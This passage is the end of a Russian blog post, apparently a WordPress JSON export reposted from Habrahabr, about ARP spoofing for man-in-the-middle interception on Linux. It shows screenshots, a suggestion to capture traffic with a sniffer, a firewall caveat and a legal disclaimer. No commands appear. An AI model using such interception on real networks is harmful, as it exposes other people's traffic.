href=\"http:\/\/msbro.ru\/wp-content\/uploads\/2010\/05\/arp-spoofing-03_-_after.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-2642\" title=\"arp-spoofing-03_-_after\" src=\"http:\/\/msbro.ru\/wp-content\/uploads\/2010\/05\/arp-spoofing-03_-_after.jpg\" alt=\"\" width=\"668\" height=\"331\" srcset=\"https:\/\/msbro.ru\/wp-content\/uploads\/2010\/05\/arp-spoofing-03_-_after.jpg 668w, https:\/\/msbro.ru\/wp-content\/uploads\/2010\/05\/arp-spoofing-03_-_after-300x148.jpg 300w\" sizes=\"(max-width: 668px) 100vw, 668px\" \/><\/a><\/p>\n<p>\u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432\u0441\u0435. \u0422\u0435\u043f\u0435\u0440\u044c \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u043b\u044e\u0431\u0438\u043c\u044b\u0439 \u0441\u043d\u0438\u0444\u0444\u0435\u0440 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c  \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 ping \u0434\u043e \u044f\u043d\u0434\u0435\u043a\u0441\u0430<\/p>\n<p><a href=\"http:\/\/msbro.ru\/wp-content\/uploads\/2010\/05\/arp-spoofing-04_-_wireshark.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-2643\" title=\"arp-spoofing-04_-_wireshark\" src=\"http:\/\/msbro.ru\/wp-content\/uploads\/2010\/05\/arp-spoofing-04_-_wireshark.png\" alt=\"\" width=\"1400\" height=\"504\" srcset=\"https:\/\/msbro.ru\/wp-content\/uploads\/2010\/05\/arp-spoofing-04_-_wireshark.png 1400w, https:\/\/msbro.ru\/wp-content\/uploads\/2010\/05\/arp-spoofing-04_-_wireshark-300x108.png 300w, https:\/\/msbro.ru\/wp-content\/uploads\/2010\/05\/arp-spoofing-04_-_wireshark-1024x368.png 1024w\" sizes=\"(max-width: 1400px) 100vw, 1400px\" \/><\/a><\/p>\n<p>\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435. \u0412 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440, \u0442\u043e \u043e\u043d  \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e \u043f\u043e\u0434\u043c\u0435\u043d\u0435 \u0430\u0434\u0440\u0435\u0441\u0430.<\/p>\n<p>\u0414\u0430\u043d\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u043b\u0435\u043d\u0438\u044f. \u0410\u0432\u0442\u043e\u0440 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442  \u0432\u0430\u043c \u043e \u0421\u0442\u0430\u0442\u044c\u0435 272 \u0423\u041a \u0420\u0424 \u00ab\u041d\u0435\u043f\u0440\u0430\u0432\u043e\u043c\u0435\u0440\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438\u00bb<\/p>\n<p>(<a href=\"http:\/\/habrahabr.ru\/blogs\/infosecurity\/94122\/\" target=\"_blank\">\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a<\/a>)<\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,6],"tags":[651,653,85,654,652,656,655],"class_list":["post-2634","post","type-post","status-publish","format-standard","hentry","category-nix","category-other","tag-arp","tag-gnu","tag-linux","tag-man-in-the-middle","tag-spoofing","tag-vzlom","tag-khak"],"_links":{"self":[{"href":"https:\/\/msbro.ru\/index.php\/wp-json\/wp\/v2\/posts\/2634"}],"collection":[{"href":"https:\/\/msbro.ru\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/msbro.ru\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/msbro.ru\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/msbro.ru\/index.php\/wp-json\/wp\/v2\/comments?post=2634"}],"version-history":[{"count":0,"href":"https:\/\/msbro.ru\/index.php\/wp-json\/wp\/v2\/posts\/2634\/revisions"}],"wp:attachment":[{"href":"https:\/\/msbro.ru\/index.php\/wp-json\/wp\/v2\/media?parent=2634"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/msbro.ru\/index.php\/wp-json\/wp\/v2\/categories?post=2634"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/msbro.ru\/index.php\/wp-json\/wp\/v2\/tags?post=2634"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<!-- WP Super Cache is installed but broken. The constant WPCACHEHOME must be set in the file wp-config.php and point at the WP Super Cache plugin directory. -->